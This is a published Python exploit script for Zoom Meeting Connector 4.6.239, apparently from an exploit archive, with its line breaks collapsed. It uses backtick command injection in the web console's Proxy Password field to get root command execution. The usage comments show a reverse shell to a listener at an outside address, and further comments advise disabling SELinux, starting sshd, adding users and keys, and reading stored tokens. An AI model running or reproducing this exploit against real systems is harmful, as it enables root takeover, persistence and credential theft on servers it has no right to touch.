zoom meeting connector 4.6.239.20200613 remote root exploit (authenticated)

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# Exploit Title: Zoom Meeting Connector 4.6.239.20200613 - Remote Root Exploit (Authenticated) # Date: 12-29-2020 # Exploit Author: Jeremy Brown # Vendor Homepage: https://support.zoom.us/hc/en-us/articles/201363093-Deploying-the-Meeting-Connector # Software Link: https://support.zoom.us/hc/en-us/articles/201363093-Deploying-the-Meeting-Connector # Version: 4.6.239.20200613 #!/usr/bin/python # -*- coding: UTF-8 -*- # # zoomer.py # # Zoom Meeting Connector Post-auth Remote Root Exploit # # Jeremy Brown [jbrown3264/gmail] # Dec 2020 # # The Meeting Connector Web Console listens on port 5480. On the dashboard # under Network -> Proxy, one can enable a proxy server. All of the fields # are sanitized to a certain degree, even the developers noting in the proxy() # function within backend\webconsole\WebConsole\net.py that they explicitly # were concerned with command injection and attempted to prevent it: # # if ('"' in proxy_name) or ('"' in proxy_passwd): # " double quotes cannot be used to prevent shell injection # is_valid = False # # It makes sense to leave some flexibility in the character limits here # passwords are often expected to contain more than alphanumeric characters. # But of course that means the Proxy Password field is still vulnerable to # command injection with the ` character. # # The proxy data gets concatenated and written to /etc/profile.d/proxy.sh. # Every three minutes, a task runs which executes this proxy script as root. # After submission the dashboard says “The proxy will take effect after the # server reboot!”, but the commands will still be executed within actually # requiring a reboot. Keep in mind that the commands will be executed blind. # # For example, `id>/tmp/proxy_test` given as the Proxy Password will produce # this in the /tmp/proxy_test file: # # uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:system_cronjob_t:s0-s0:c0.c1023 # # MMR was tested, but Controller and VRC may also be vulnerable # # Usage # > zoomer.py 10.0.0.10 admin xsecRET1 "sh -i >& /dev/udp/10.0.0.11/5555 0>&1" # login succeeded # command sent to server # # $ nc -u -lvp 5555 # .... # sh: no job control in this shell # sh-4.2# pwd # /root # sh-4.2# # # setenforce 0 if SELinux bothers you, service sshd start and add users/keys, # check tokens in /opt/zoom/conf/register, check out the local environment, etc. # # Dependencies # - pip install pyquery # # Fix # Zoom says they've fixed this in the latest version # import os import sys import argparse import requests import urllib.parse from pyquery import PyQuery from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) class Zoomer(object): def __init__(self, args): self.target = args.target self.port = args.port self.username = args.username self.password = args.password self.command = args.command def run(self): target = "https://" + self.target + ':' + str(self.port) session = requests.Session() session.verify = False # # get csrftoken from /login and use it to auth with creds # try: resp = session.get(target + "/login") except Exception as error: print("Error: %s" % error) return -1 try: csrftoken = resp.headers['set-cookie'].split(';')[0] except: print("Error: couldn't parse csrftoken from response header") return -1 csrfmiddlewaretoken = self.get_token(resp.text, 'csrfmiddlewaretoken') if(csrfmiddlewaretoken == None): return -1 data = \ {'csrfmiddlewaretoken':csrfmiddlewaretoken, 'name':self.username, 'password':self.password} headers = \ {'Host':self.target + ':' + str(self.port), 'Referer':target, 'Cookie':csrftoken} try: resp = session.post(target + "/login", headers=headers, data=data) except Exception as error: print("Error: %s" % error) return -1 if(resp.status_code != 200 or 'Wrong' in resp.text): print("login failed") return -1 else: print("login succeeded") # # get csrfmiddlewaretoken from /network/proxy and post cmd # try: resp = session.get(target + "/network/proxy") except Exception as error: print("Error: %s" % error) return -1 csrfmiddlewaretoken = self.get_token(resp.text, 'csrfmiddlewaretoken') cookies = session.cookies.get_dict() # # this happens with view-only users # if(len(cookies) < 2): print("Error: failed to get session ID") return -1 command = '`' + self.command + '`' headers = \ {'Host':self.target + ':' + str(self.port), 'Referer':target, 'Cookie': \ 'csrftoken=' + cookies['csrftoken'] + ';' + \ 'sessionid=' + cookies['sessionid']} data = \ {'csrfmiddlewaretoken':csrfmiddlewaretoken, 'proxyValue':1, 'proxyAddr':'localhost', 'proxyPort':8080, 'proxyName':'test', 'proxyPasswd':command} try: resp = session.post(target + "/network/proxy", headers=headers, data=data) except Exception as error: print("Error: %s" % error) return -1 if(resp.status_code != 200): print("something failed") return -1 else: print("command sent to server") return 0 def get_token(self, body, name): token = None pq = PyQuery(body) if(name == 'csrftoken'): print("csrftoken") if(name == 'csrfmiddlewaretoken'): token = pq('input').attr('value') return token def arg_parse(): parser = argparse.ArgumentParser() parser.add_argument("target", type=str, help="Zoom server") parser.add_argument("-p", "--port", type=int, default=5480, help="Zoom port") parser.add_argument("username", type=str, help="Valid username") parser.add_argument("password", type=str, help="Valid password") parser.add_argument("command", type=str, help="Command to execute (replace space with $IFS ?)") args = parser.parse_args() return args def main(): args = arg_parse() zm = Zoomer(args) result = zm.run() if(result > 0): sys.exit(-1) if(__name__ == '__main__'): main()


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